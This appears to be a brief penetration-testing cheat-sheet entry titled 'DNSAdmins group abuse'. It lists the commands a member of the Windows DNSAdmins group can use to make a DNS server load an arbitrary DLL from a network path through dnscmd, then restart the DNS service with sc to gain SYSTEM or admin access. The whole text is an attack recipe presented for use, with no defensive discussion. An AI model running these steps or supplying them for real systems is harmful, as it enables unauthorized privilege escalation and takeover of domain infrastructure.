DNSAdmins group abuse

Prerequisites: User is in the DNSAdmins Group

dnscmd.exe /config /serverlevelplugindll \\PATH\TO\.DLL 

sc \\DNSServer stop dns

sc \\DNSServer start dns

This gives us System/Admin access